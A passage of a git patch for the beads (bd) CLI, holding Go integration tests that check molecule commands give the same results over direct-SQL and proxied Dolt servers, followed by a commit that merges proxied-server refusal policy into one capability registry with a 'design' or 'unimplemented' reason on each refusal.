than merely observing an already-closed gate). + r.mustRun(t, bd, "create", "Awaited bead", "--id", "mg-awaited") + beadCreated := r.mustRun(t, bd, "gate", "create", "--type=bead", "--blocks", "mg-target", "--await-id", "mg-awaited", "--reason", "awaited") + beadGateID := parseCreatedGateID(t, beadCreated) + r.mustRun(t, bd, "close", "mg-awaited", "--reason", "awaited bead complete") + beadChecked := r.mustRun(t, bd, "gate", "check", "--type", "bead") + if !strings.Contains(strings.ToLower(beadChecked), "1 resolved") { + t.Errorf("[%s] bead gate check output = %q, want one resolved gate", r.name, beadChecked) + } + beadShow := r.mustRun(t, bd, "gate", "show", beadGateID) + if !strings.Contains(beadShow, "Status: closed") { + t.Errorf("[%s] bead gate %s remains open after check:\n%s", r.name, beadGateID, beadShow) + } + } +} diff --git a/cmd/bd/mol_frontdoor_managed_local_integration_test.go b/cmd/bd/mol_frontdoor_managed_local_integration_test.go new file mode 100644 index 000000000..0a1a9fa80 --- /dev/null +++ b/cmd/bd/mol_frontdoor_managed_local_integration_test.go @@ -0,0 +1,64 @@ +//go:build cgo && unix + +package main + +import ( + "encoding/json" + "testing" + "time" +) + +// TestManagedLocalProxiedMoleculeFrontDoorPositive exercises the production +// fresh-project topology: bd owns a loopback proxy and a local Dolt child. +// The external-TCP parity test covers the shared server lane; this test keeps +// the managed-local path honest without introducing a second storage API. +func TestManagedLocalProxiedMoleculeFrontDoorPositive(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "mf", 5*time.Minute) + r := moleculeFrontDoorRunner{name: "managed-local", dir: p.dir, env: bdProxiedEnv} + + buildMoleculeFrontDoorFixture(t, bd, r) + showRaw := r.mustRun(t, bd, "mol", "show", "mf-root", "--json") + assertMoleculeFrontDoorRead(t, "show", showRaw) + if normalizedMoleculeJSON(t, showRaw) == nil { + t.Fatal("managed-local mol show returned nil") + } + + // Positive graph write through the managed proxy. + r.mustRun(t, bd, "create", "Managed bond A", "--type", "epic", "--id", "mf-local-a") + r.mustRun(t, bd, "create", "Managed bond B", "--type", "epic", "--id", "mf-local-b") + var bond struct { + ResultID string `json:"result_id"` + ResultType string `json:"result_type"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "bond", "mf-local-a", "mf-local-b", "--type", "sequential", "--json")), &bond); err != nil { + t.Fatalf("parse managed-local mol bond: %v", err) + } + if bond.ResultID != "mf-local-a" || bond.ResultType != "compound_molecule" { + t.Fatalf("managed-local mol bond = %+v, want mf-local-a/compound_molecule", bond) + } + + f := twoStepFormula("managed-local-write", "Managed local step") + writeMoleculeFormulaFixture(t, r, f) + var pour struct { + Created int `json:"created"` + Phase string `json:"phase"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "pour", f.Formula, "--json")), &pour); err != nil { + t.Fatalf("parse managed-local mol pour: %v", err) + } + if pour.Created != 2 || pour.Phase != "liquid" { + t.Fatalf("managed-local mol pour = %+v, want created=2 phase=liquid", pour) + } + var wisp struct { + Created int `json:"created"` + Phase string `json:"phase"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "wisp", "create", f.Formula, "--json")), &wisp); err != nil { + t.Fatalf("parse managed-local mol wisp: %v", err) + } + if wisp.Created != 2 || wisp.Phase != "vapor" { + t.Fatalf("managed-local mol wisp = %+v, want created=2 phase=vapor", wisp) + } +} diff --git a/cmd/bd/mol_frontdoor_parity_integration_test.go b/cmd/bd/mol_frontdoor_parity_integration_test.go new file mode 100644 index 000000000..1d0963e3c --- /dev/null +++ b/cmd/bd/mol_frontdoor_parity_integration_test.go @@ -0,0 +1,489 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/formula" +) + +// moleculeFrontDoorRunner is deliberately a thin command runner. The +// fixture and assertions below must exercise the real bd front door in both +// direct SQL-server and proxied-server workspaces; neither side is allowed to +// call a store implementation directly. +type moleculeFrontDoorRunner struct { + name string + dir string + env func(string) []string +} + +func (r moleculeFrontDoorRunner) run(t *testing.T, bd string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = r.dir + cmd.Env = r.env(r.dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} + +func (r moleculeFrontDoorRunner) mustRun(t *testing.T, bd string, args ...string) string { + t.Helper() + stdout, stderr, err := r.run(t, bd, args...) + if err != nil { + t.Fatalf("[%s] bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + r.name, strings.Join(args, " "), err, stdout, stderr) + } + return stdout +} + +// buildMoleculeFrontDoorFixture creates the same explicit-ID graph in each +// workspace. Explicit IDs make the JSON comparison useful even though the +// two databases have independent Dolt histories and timestamps. +func buildMoleculeFrontDoorFixture(t *testing.T, bd string, r moleculeFrontDoorRunner) { + t.Helper() + r.mustRun(t, bd, "create", "Parity molecule", "--type", "epic", "--id", "mf-root") + for _, issue := range []struct { + id string + title string + }{ + {id: "mf-done", title: "Done step"}, + {id: "mf-active", title: "Active step"}, + {id: "mf-ready", title: "Ready step"}, + } { + r.mustRun(t, bd, "create", issue.title, "--type", "task", "--id", issue.id) + r.mustRun(t, bd, "dep", "add", issue.id, "mf-root", "--type", "parent-child") + } + // A closed gate blocks a step in a second molecule. `mol ready --gated` + // must discover that molecule after the gate closes, not just return an + // empty result that would hide an unwired ready surface. + r.mustRun(t, bd, "config", "set", "types.custom", "gate") + r.mustRun(t, bd, "create", "Ready molecule", "--type", "epic", "--id", "mf-ready-root") + r.mustRun(t, bd, "create", "Ready molecule step", "--type", "task", "--id", "mf-ready-root-step") + r.mustRun(t, bd, "create", "Ready molecule gate", "--type", "gate", "--id", "mf-ready-gate") + r.mustRun(t, bd, "dep", "add", "mf-ready-root-step", "mf-ready-root", "--type", "parent-child") + r.mustRun(t, bd, "dep", "add", "mf-ready-gate", "mf-ready-root", "--type", "parent-child") + r.mustRun(t, bd, "dep", "add", "mf-ready-root-step", "mf-ready-gate") + r.mustRun(t, bd, "close", "mf-ready-gate", "--reason", "ready discovery fixture") + r.mustRun(t, bd, "close", "mf-done", "--reason", "front-door parity fixture") + r.mustRun(t, bd, "update", "mf-active", "--status", "in_progress", "--assignee", "worker1") + // This edge gives mol show/progress/ready a non-trivial dependency graph. + r.mustRun(t, bd, "dep", "add", "mf-ready", "mf-active") +} + +// normalizedMoleculeJSON removes only wall-clock fields. IDs, statuses, +// dependencies, counts, and metadata remain part of the parity contract. +func normalizedMoleculeJSON(t *testing.T, raw string) any { + t.Helper() + var value any + if err := json.Unmarshal([]byte(strings.TrimSpace(raw)), &value); err != nil { + t.Fatalf("parse JSON: %v\n%s", err, raw) + } + return normalizeMoleculeValue(value) +} + +func normalizeMoleculeValue(value any) any { + return normalizeMoleculeValueAt(value, false) +} + +func normalizeMoleculeValueAt(value any, preserveTimestamps bool) any { + switch v := value.(type) { + case []any: + out := make([]any, len(v)) + for i, item := range v { + out[i] = normalizeMoleculeValueAt(item, preserveTimestamps) + } + return out + case map[string]any: + out := make(map[string]any, len(v)) + for key, item := range v { + if !preserveTimestamps && moleculeTimestampKey(key) { + continue + } + normalized := normalizeMoleculeValueAt(item, preserveTimestamps || key == "metadata") + if key == "metadata" && emptyMoleculeMetadata(normalized) { + // Direct SQL serializes an empty metadata object as "{}" while + // the proxy omits it. Empty metadata carries no semantics, so + // omit both spellings; non-empty metadata remains compared. + continue + } + out[key] = normalized + } + return out + default: + return value + } +} + +func moleculeTimestampKey(key string) bool { + switch key { + case "created_at", "updated_at", "closed_at", "started_at", "completed_at", "last_activity_at", "timestamp": + return true + default: + return false + } +} + +func emptyMoleculeMetadata(value any) bool { + switch v := value.(type) { + case nil: + return true + case string: + return strings.TrimSpace(v) == "" || strings.TrimSpace(v) == "{}" + case map[string]any: + return len(v) == 0 + default: + return false + } +} + +func TestNormalizeMoleculeMetadataPreservesNonEmpty(t *testing.T) { + got, ok := normalizeMoleculeValue(map[string]any{ + "updated_at": "wire timestamp", + "metadata": map[string]any{ + "updated_at": "user metadata", + "team": "platform", + }, + }).(map[string]any) + if !ok { + t.Fatalf("normalized value has type %T, want map", got) + } + if _, exists := got["updated_at"]; exists { + t.Error("top-level updated_at should be normalized away") + } + metadata, ok := got["metadata"].(map[string]any) + if !ok || metadata["updated_at"] != "user metadata" || metadata["team"] != "platform" { + t.Errorf("non-empty metadata was not preserved: %#v", got["metadata"]) + } +} + +func TestProxiedServerMoleculeFrontDoorDirectServerProxyParity(t *testing.T) { + requireSharedProxiedServer(t) + bd := buildEmbeddedBD(t) + + // Keep the configured issue prefix identical so explicit IDs are accepted + // by both databases; each helper still allocates an independent database. + directProject := newServerModeProject(t, bd, "mf") + proxiedProject := newSharedProxiedProject(t, bd, "mf") + direct := moleculeFrontDoorRunner{name: "direct-sql", dir: directProject.dir, env: func(string) []string { return directProject.env }} + proxied := moleculeFrontDoorRunner{name: "proxied", dir: proxiedProject.dir, env: bdProxiedEnv} + for _, r := range []moleculeFrontDoorRunner{direct, proxied} { + buildMoleculeFrontDoorFixture(t, bd, r) + } + + // Read-only molecule surfaces must return the same graph and lifecycle + // facts. The JSON normalizer intentionally leaves all semantic fields in + // place while removing only timestamps generated by each independent DB. + for _, tc := range []struct { + name string + args []string + }{ + {name: "show", args: []string{"mol", "show", "mf-root", "--json"}}, + {name: "current", args: []string{"mol", "current", "mf-root", "--json"}}, + {name: "progress", args: []string{"mol", "progress", "mf-root", "--json"}}, + {name: "ready", args: []string{"mol", "ready", "--gated", "--json"}}, + } { + t.Run(tc.name, func(t *testing.T) { + directRaw := direct.mustRun(t, bd, tc.args...) + proxiedRaw := proxied.mustRun(t, bd, tc.args...) + assertMoleculeFrontDoorRead(t, tc.name, directRaw) + assertMoleculeFrontDoorRead(t, tc.name, proxiedRaw) + directJSON := normalizedMoleculeJSON(t, directRaw) + proxiedJSON := normalizedMoleculeJSON(t, proxiedRaw) + if !reflect.DeepEqual(directJSON, proxiedJSON) { + t.Errorf("%s JSON diverged between direct SQL and proxy:\ndirect: %v\nproxy: %v", tc.name, directJSON, proxiedJSON) + } + }) + } + + // Last-activity carries an intentionally dynamic timestamp, so compare the + // stable source and step identity fields explicitly. + for _, r := range []moleculeFrontDoorRunner{direct, proxied} { + var got struct { + MoleculeID string `json:"molecule_id"` + Source string `json:"source"` + SourceStepID string `json:"source_step_id"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "last-activity", "mf-root", "--json")), &got); err != nil { + t.Fatalf("[%s] parse mol last-activity: %v", r.name, err) + } + if got.MoleculeID != "mf-root" || got.Source != "step_updated" || got.SourceStepID != "mf-active" { + t.Errorf("[%s] last-activity = %+v, want root/step_updated/mf-active", r.name, got) + } + } + + // The graph and lifecycle mutations above must be visible through the + // ordinary issue reader too, including every explicit ID and status. + directListRaw := direct.mustRun(t, bd, "list", "--all", "--json") + proxiedListRaw := proxied.mustRun(t, bd, "list", "--all", "--json") + assertMoleculeFrontDoorList(t, "direct-sql", directListRaw) + assertMoleculeFrontDoorList(t, "proxied", proxiedListRaw) + if !reflect.DeepEqual(normalizedMoleculeIssueSet(t, directListRaw), normalizedMoleculeIssueSet(t, proxiedListRaw)) { + t.Errorf("list --all --json diverged between direct SQL and proxy:\ndirect: %v\nproxy: %v", + normalizedMoleculeIssueSet(t, directListRaw), normalizedMoleculeIssueSet(t, proxiedListRaw)) + } +} + +func normalizedMoleculeIssueSet(t *testing.T, raw string) map[string]any { + t.Helper() + value := normalizedMoleculeJSON(t, raw) + rows, ok := value.([]any) + if !ok { + t.Fatalf("normalized list has type %T, want array", value) + } + set := make(map[string]any, len(rows)) + for _, row := range rows { + obj, ok := row.(map[string]any) + if !ok { + t.Fatalf("normalized list row has type %T, want object", row) + } + id, ok := obj["id"].(string) + if !ok || id == "" { + t.Fatalf("normalized list row has no string id: %#v", obj) + } + set[id] = obj + } + return set +} + +func assertMoleculeFrontDoorList(t *testing.T, mode, raw string) { + t.Helper() + var rows []struct { + ID string `json:"id"` + Status string `json:"status"` + Assignee string `json:"assignee"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(raw)), &rows); err != nil { + t.Fatalf("[%s] parse list --all --json: %v\n%s", mode, err, raw) + } + want := map[string]struct { + status string + assignee string + }{ + "mf-root": {status: "open"}, + "mf-active": {status: "in_progress", assignee: "worker1"}, + "mf-done": {status: "closed"}, + "mf-ready": {status: "open"}, + "mf-ready-root": {status: "open"}, + "mf-ready-root-step": {status: "open"}, + } + seen := make(map[string]bool, len(rows)) + for _, row := range rows { + if expected, ok := want[row.ID]; ok { + seen[row.ID] = true + if row.Status != expected.status || row.Assignee != expected.assignee { + t.Errorf("[%s] %s status/assignee = %s/%q, want %s/%q", mode, row.ID, row.Status, row.Assignee, expected.status, expected.assignee) + } + } + } + for id := range want { + if !seen[id] { + t.Errorf("[%s] list --all --json omitted %s", mode, id) + } + } +} + +func assertMoleculeFrontDoorRead(t *testing.T, name, raw string) { + t.Helper() + switch name { + case "show": + var got struct { + Root struct { + ID string `json:"id"` + } `json:"root"` + Issues []struct{} `json:"issues"` + Dependencies []struct{} `json:"dependencies"` + } + if err := json.Unmarshal([]byte(raw), &got); err != nil { + t.Fatalf("parse mol show: %v", err) + } + if got.Root.ID != "mf-root" || len(got.Issues) != 4 || len(got.Dependencies) != 4 { + t.Errorf("mol show = %+v, want mf-root with four issues and four dependencies", got) + } + case "current": + var got []struct { + Total int `json:"total"` + Completed int `json:"completed"` + } + if err := json.Unmarshal([]byte(raw), &got); err != nil { + t.Fatalf("parse mol current: %v", err) + } + if len(got) != 1 || got[0].Total != 3 || got[0].Completed != 1 { + t.Errorf("mol current = %+v, want one molecule with 1/3 complete", got) + } + case "progress": + var got struct { + Total int `json:"total"` + Completed int `json:"completed"` + } + if err := json.Unmarshal([]byte(raw), &got); err != nil { + t.Fatalf("parse mol progress: %v", err) + } + if got.Total != 3 || got.Completed != 1 { + t.Errorf("mol progress = %+v, want 1/3 complete", got) + } + case "ready": + var got struct { + Molecules []struct { + MoleculeID string `json:"molecule_id"` + } `json:"molecules"` + } + if err := json.Unmarshal([]byte(raw), &got); err != nil { + t.Fatalf("parse mol ready: %v", err) + } + if len(got.Molecules) != 1 || got.Molecules[0].MoleculeID != "mf-ready-root" { + t.Errorf("mol ready --gated = %+v, want mf-ready-root", got) + } + } +} + +func writeMoleculeFormulaFixture(t *testing.T, r moleculeFrontDoorRunner, f *formula.Formula) { + t.Helper() + data, err := json.Marshal(f) + if err != nil { + t.Fatalf("marshal formula %s: %v", f.Formula, err) + } + dir := filepath.Join(r.dir, ".beads", "formulas") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatalf("mkdir formulas dir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, f.Formula+formula.FormulaExt), data, 0o644); err != nil { + t.Fatalf("write formula fixture %s: %v", f.Formula, err) + } +} + +func TestProxiedServerMoleculeFrontDoorWriteParity(t *testing.T) { + requireSharedProxiedServer(t) + bd := buildEmbeddedBD(t) + directProject := newServerModeProject(t, bd, "mw") + proxiedProject := newSharedProxiedProject(t, bd, "mw") + direct := moleculeFrontDoorRunner{name: "direct-sql", dir: directProject.dir, env: func(string) []string { return directProject.env }} + proxied := moleculeFrontDoorRunner{name: "proxied", dir: proxiedProject.dir, env: bdProxiedEnv} + modes := []moleculeFrontDoorRunner{direct, proxied} + + // mol bond is a transactional graph write. Explicit IDs let us compare + // the result and the resulting dependency through the two front doors. + for _, r := range modes { + r.mustRun(t, bd, "create", "Bond A", "--type", "epic", "--id", "mw-a") + r.mustRun(t, bd, "create", "Bond B", "--type", "epic", "--id", "mw-b") + } + for _, r := range modes { + var got struct { + ResultID string `json:"result_id"` + ResultType string `json:"result_type"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "bond", "mw-a", "mw-b", "--type", "sequential", "--json")), &got); err != nil { + t.Fatalf("[%s] parse mol bond: %v", r.name, err) + } + if got.ResultID != "mw-a" || got.ResultType != "compound_molecule" { + t.Errorf("[%s] mol bond result = %+v, want mw-a/compound_molecule", r.name, got) + } + } + var bondedMolecules []any + for _, r := range modes { + show := normalizedMoleculeJSON(t, r.mustRun(t, bd, "mol", "show", "mw-a", "--json")) + if !strings.Contains(strings.TrimSpace(r.mustRun(t, bd, "dep", "list", "mw-b", "--json")), "mw-a") { + t.Errorf("[%s] bond dependency does not point at mw-a", r.name) + } + if show == nil { + t.Errorf("[%s] bonded molecule show returned nil", r.name) + } + bondedMolecules = append(bondedMolecules, show) + } + if len(bondedMolecules) == 2 && !reflect.DeepEqual(bondedMolecules[0], bondedMolecules[1]) { + t.Errorf("mol bond direct/proxy state diverged: direct=%#v proxy=%#v", bondedMolecules[0], bondedMolecules[1]) + } + + // Formula instantiation is a second positive write family. Compare the + // stable count/phase fields for persistent pours and ephemeral wisps; IDs + // generated from independent transactions are intentionally not compared. + f := twoStepFormula("frontdoor-write", "Write parity step") + for _, r := range modes { + writeMoleculeFormulaFixture(t, r, f) + } + for _, r := range modes { + var pour struct { + Created int `json:"created"` + Phase string `json:"phase"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "pour", f.Formula, "--json")), &pour); err != nil { + t.Fatalf("[%s] parse mol pour: %v", r.name, err) + } + if pour.Created != 2 || pour.Phase != "liquid" { + t.Errorf("[%s] mol pour = %+v, want created=2 phase=liquid", r.name, pour) + } + var wisp struct { + Created int `json:"created"` + Phase string `json:"phase"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "wisp", "create", f.Formula, "--json")), &wisp); err != nil { + t.Fatalf("[%s] parse mol wisp create: %v", r.name, err) + } + if wisp.Created != 2 || wisp.Phase != "vapor" { + t.Errorf("[%s] mol wisp create = %+v, want created=2 phase=vapor", r.name, wisp) + } + } + + // Squash and burn exercise cleanup and transaction boundaries. Each mode + // gets independent IDs because these operations are intentionally + // destructive and should not share state across assertions. + type squashSummary struct { + squashed int + deleted int + wisp bool + } + var squashResults []squashSummary + var burnResults []int + for _, r := range modes { + r.mustRun(t, bd, "create", "Squash root", "--type", "epic", "--id", "mw-squash", "--ephemeral") + r.mustRun(t, bd, "create", "Squash child", "--type", "task", "--id", "mw-squash-child", "--ephemeral") + r.mustRun(t, bd, "dep", "add", "mw-squash-child", "mw-squash", "--type", "parent-child") + var squash struct { + SquashedCount int `json:"squashed_count"` + DeletedCount int `json:"deleted_count"` + WispSquash bool `json:"wisp_squash"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "squash", "mw-squash", "--json")), &squash); err != nil { + t.Fatalf("[%s] parse mol squash: %v", r.name, err) + } + if squash.SquashedCount != 1 || squash.DeletedCount != 1 || !squash.WispSquash { + t.Errorf("[%s] mol squash = %+v, want 1/1/wisp", r.name, squash) + } + squashResults = append(squashResults, squashSummary{squash.SquashedCount, squash.DeletedCount, squash.WispSquash}) + r.mustRun(t, bd, "create", "Burn root", "--type", "epic", "--id", "mw-burn") + r.mustRun(t, bd, "create", "Burn child", "--type", "task", "--id", "mw-burn-child") + r.mustRun(t, bd, "dep", "add", "mw-burn-child", "mw-burn", "--type", "parent-child") + var burn struct { + TotalDeleted int `json:"total_deleted"` + DeletedCount int `json:"deleted_count"` + } + if err := json.Unmarshal([]byte(r.mustRun(t, bd, "mol", "burn", "mw-burn", "--force", "--json")), &burn); err != nil { + t.Fatalf("[%s] parse mol burn: %v", r.name, err) + } + deleted := burn.TotalDeleted + if r.name == "direct-sql" { + // The direct one-ID route deliberately returns BurnResult while the + // proxied route returns BatchBurnResult. Assert each wire shape and + // compare their shared deletion semantics below. + if burn.TotalDeleted != 0 || burn.DeletedCount != 2 { + t.Errorf("[%s] mol burn = %+v, want deleted_count=2 single-result shape", r.name, burn) + } + deleted = burn.DeletedCount + } else if burn.TotalDeleted != 2 || burn.DeletedCount != 0 { + t.Errorf("[%s] mol burn = %+v, want total_deleted=2 batch-result shape", r.name, burn) + } + burnResults = append(burnResults, deleted) + } + if len(squashResults) == 2 && squashResults[0] != squashResults[1] { + t.Errorf("mol squash direct/proxy results diverged: direct=%+v proxy=%+v", squashResults[0], squashResults[1]) + } + if len(burnResults) == 2 && burnResults[0] != burnResults[1] { + t.Errorf("mol burn direct/proxy results diverged: direct=%d proxy=%d", burnResults[0], burnResults[1]) + } +} From 7ccb961f778367fc19ca686c2e9a28d5e161bce1 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 22 Sep 2026 15:12:46 -0700 Subject: [PATCH 063/624] refactor(proxy): one capability registry with a reason on every refusal (proxied-parity S2) (#6582) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(proxy): one capability registry, with a reason on every refusal Proxied-server policy lived in three path tables (a maintenance refusal map, a history classification map, a transform row list), each with its own lookup and its own front-door validator, plus a flag matrix. Nothing forced a new command to appear in any of them, so an unclassified command sailed past the gate and died in the store factory with `proxy server store should be uow provider`. That — not the table count — was the root problem. One table now (cmd/bd/capability_registry.go), and a test that fails when a runnable command is missing from it. Adding a command is no longer a place where policy can be forgotten: it is a build failure until someone decides whether the proxied front door lets it through. Every refusal carries a Reason: `design` where refusing is correct and expected to stay (shared history, multi-repo routing, destructive admin, storage-format surgery, strict --readonly), `unimplemented` where it is a gap with a named owner. The reason renders in the refusal JSON, additive to the frozen {code, error, mutates} contract, and is omitted on refusals that report a runtime state rather than a policy so a consumer keying on its presence is never told "" by mistake. The registry also inventories the 57 untyped refusals commands raise from their own RunE. Those rows are not enforced — converting them changes observable output and belongs to the slice that owns each family — but a source scan now keeps the inventory honest in both directions. The store-factory backstop is typed as `proxy.store.unrouted`, the unreachable duplicate readonly refusal in main.go is gone (the proxied branch above it already returns for the only config that reaches it), and with it `backendSupportsStrictReadonly`, which had no other caller. No outcome changes. Every code, message and exit status is identical, which #6576's five-topology matrix proves: 90/90 cells unchanged (HONORED 47, REFUSED_TYPED 24 = 4 design + 20 unimplemented, ERROR 12, WRONG_ANSWER 4, DEGRADED 3), all five topologies exercised, no skips. Co-Authored-By: Claude Fable 5 * refactor(proxy): `migrate hooks` is an unimplemented refusal, not a design one The registry filed `migrate hooks` under "storage-format and workspace surgery against a store other clients may be holding open". That rationale does not describe it: migrate_hooks.go plans and applies GIT HOOK FILE migration through doctor.PlanHookMigration, on the local filesystem, and opens no store at all. Left as it was, proxied-local — the default topology since 1.3.0 — loses the command permanently, because `design` tells every later slice the refusal is semantic and settled. It is not settled, but it is also not free to lift, and the difference is structural rather than semantic. `migrate hooks` appears on none of main.go's store-init skip lists, so permitting it makes the root pre-run open the proxied provider before RunE runs. Measured with the row flipped to permitted, not reasoned about: on a managed-local workspace `bd migrate hooks --dry-run` started the proxy AND its dolt child — both pidfiles present — to print a hook plan for five missing hooks, and on a workspace with an unreadable sidecar it exited 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." where it had cleanly refused before. Trading a typed refusal for a provider-open error is not a lift. So: Reason=unimplemented with a Tracking item that names the actual work — put the command on the store-init skip list first, then permit it — which is S7's, not this slice's. No outcome changes; the row still refuses with the same code, message and exit status. The registry header now says that permitting a path costs a provider open, since that is the fact this row turns on and the one the completeness test cannot see. Also leaves S7 an explicit instruction on the rows next door. `migrate issues`, `migrate-personal` and `admin cleanup`/`admin reset` claim `design` on a topology-blind rationale — "a store other clients may be holding open", "destructive against a possibly-shared store" — that describes external and team-server workspaces and does not describe managed-local, which is 1:1 and bd-owned. They are not reclassified here: the table cannot yet express "refused, except on managed-local", and narrowing them is semantic work nobody has done. The comments now say that is why, so the next reader does not mistake conservatism for a considered verdict. Co-Authored-By: Claude Fable 5 --------- Co-authored-by: Claude Fable 5 --- CHANGELOG.md | 13 + cmd/bd/capability_registry.go | 569 ++++++++++++++++++ ...go => capability_registry_history_test.go} | 12 +- cmd/bd/capability_registry_test.go | 399 ++++++++++++ ... => capability_registry_transform_test.go} | 27 +- cmd/bd/errors.go | 8 + cmd/bd/history_capability.go | 28 - cmd/bd/main.go | 21 +- cmd/bd/migrate_dolt_mode.go | 5 + cmd/bd/proxy_capability.go | 183 +++--- cmd/bd/proxy_capability_test.go | 14 +- cmd/bd/readonly_policy_test.go | 20 - cmd/bd/serve.go | 2 +- cmd/bd/store_factory.go | 21 +- cmd/bd/store_factory_nocgo.go | 21 +- cmd/bd/transform_capability.go | 90 --- 16 files changed, 1104 insertions(+), 329 deletions(-) create mode 100644 cmd/bd/capability_registry.go rename cmd/bd/{history_capability_test.go => capability_registry_history_test.go} (92%) create mode 100644 cmd/bd/capability_registry_test.go rename cmd/bd/{transform_capability_test.go => capability_registry_transform_test.go} (88%) delete mode 100644 cmd/bd/history_capability.go delete mode 100644 cmd/bd/transform_capability.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 088d49534..62433ec4f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -112,6 +112,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **Proxied-server refusals now say *why* they refuse.** The JSON a refused + command prints gains a `reason` field next to the existing `code`, `error` + and `mutates`: `design` for a refusal that is expected to stay (shared + history, multi-repo routing, destructive admin, strict `--readonly`) and + `unimplemented` for a capability gap with a named owner. Every existing code, + message and exit status is unchanged, and `reason` is absent on refusals that + report a runtime state rather than a policy, so existing consumers are + unaffected. The policy behind it moved into one registry + (`cmd/bd/capability_registry.go`) that every command must appear in. +- **A command with no proxied-server route now fails with a typed error** + (`proxy.store.unrouted`) instead of the bare string `proxy server store + should be uow provider`. + - **`bd gate check` resolves bead gates whose target lives in a prefix-routed rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local miss, the evaluator follows the target bead ID through `routes.jsonl` and diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go new file mode 100644 index 000000000..276650bbe --- /dev/null +++ b/cmd/bd/capability_registry.go @@ -0,0 +1,569 @@ +package main + +import ( + "sort" + "strings" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// The proxied-server capability registry: one table for every command path. +// +// Before this file the policy lived in three separate tables — a maintenance +// refusal map, a history classification map, and a transform row list — each +// with its own lookup and its own front-door validator. Nothing forced a new +// command to appear in any of them, so an unclassified command sailed past the +// gate and died deep in the store factory with an untyped error. The fix is not +// a fourth table: it is one table plus a test that fails when a command is +// missing from it (TestProxyCapabilityRegistryCoversCommandTree). +// +// WHAT A ROW MEANS. Outcome describes what the PRE-PROVIDER GATE does with the +// path on a proxied-server workspace, nothing more: +// +// ProxyOutcomeRefused the gate refuses with a typed ProxyCapabilityError +// before any workspace side effect +// ProxyOutcomeRefusedInRunE the gate lets the path through and the command +// refuses inside its own RunE with an untyped +// string; recorded here so the untyped surface is +// inventoried rather than invisible. Not enforced. +// ProxyOutcomeHonored the gate lets the path through. It does NOT +// promise a proxied route exists: a permitted +// command with no route still fails at the store +// factory with proxy.store.unrouted. +// +// Permitting a path also COSTS something, and the cost is invisible from this +// table: unless the command is on one of main.go's store-init skip lists, the +// root pre-run opens the proxied provider before RunE runs — which starts the +// proxy and its dolt child, creates the database and migrates the schema. For a +// command that genuinely uses the store that is the point. For a store-free one +// it is pure side effect, and on a workspace whose topology cannot be resolved +// it turns a clean typed refusal into a provider-open error. So "this command +// touches no store" is an argument for permitting it only once the command is +// also off the store-init path; see the `migrate hooks` row. Nothing here +// asserts that, and TestProxyCapabilityRegistryCoversCommandTree cannot see it. +// +// REASON is the load-bearing field. "design" means refusing is correct and is +// expected to stay that way — the semantics are undefined or unsafe against a +// backend that may be shared. "unimplemented" means the refusal is a capability +// gap with a named slice that closes it, and Tracking says which. Every later +// slice measures itself by turning "unimplemented" rows into honored ones; the +// count of remaining "unimplemented" rows is the completion signal for the whole +// proxied-parity effort. Assign the field row by row, from the command's actual +// semantics — a bulk assignment would destroy the only information it carries. +// +// The reason also renders in the refusal JSON, additive to the frozen +// {code, error, mutates} contract (see buildJSONCapabilityError). Codes are +// frozen; messages are informative-only. + +// ProxyRefusalReason distinguishes a deliberate policy refusal from a +// not-yet-built one. +type ProxyRefusalReason string + +const ( + // ProxyReasonDesign: the command is refused on purpose and is expected to + // stay refused. Lifting it would need a semantic decision, not plumbing. + ProxyReasonDesign ProxyRefusalReason = "design" + // ProxyReasonUnimplemented: the command could work over the proxied + // provider; nobody has routed it yet. Tracking names the work item. + ProxyReasonUnimplemented ProxyRefusalReason = "unimplemented" +) + +// Tracking values name the plan-of-record work item for an unimplemented +// refusal. These are the slices of the proxied-parity plan; a row gets a GitHub +// issue or bead ID instead once one is filed for it. +const ( + trackBackup = "proxied-parity S3 (backup/restore family)" + trackVersionCtl = "proxied-parity S4 (dolt commit/push/pull/remote)" + trackSync = "proxied-parity S5 (bd sync)" + trackDegradation = "proxied-parity S6 (doctor, config show, degradations)" + trackLongTail = "proxied-parity S7 (long-tail policy pass)" +) + +// capabilityRow is one command-path policy row. ArgSet is the sorted set of +// execution-altering flags that were set (for example "--auto-merge --dry-run"), +// empty for the bare path; a row keyed on an ArgSet wins over the bare row, which +// is how `duplicates --auto-merge --dry-run` stays honored while +// `duplicates --auto-merge` is refused. +type capabilityRow struct { + Path string + ArgSet string + Rule proxyCapabilityRule + History HistoryCapabilityClass + Note string +} + +// display renders the row's key the way its refusal message names it. +func (r capabilityRow) display() string { + if r.ArgSet == "" { + return r.Path + } + return r.Path + " " + r.ArgSet +} + +func (r capabilityRow) withHistory(class HistoryCapabilityClass) capabilityRow { + r.History = class + return r +} + +// asParentGroup marks a row whose path is a command GROUP. Cobra answers a +// non-runnable parent with its help text before PersistentPreRunE, so the gate +// never sees it; the row is kept because it is the parent every child row 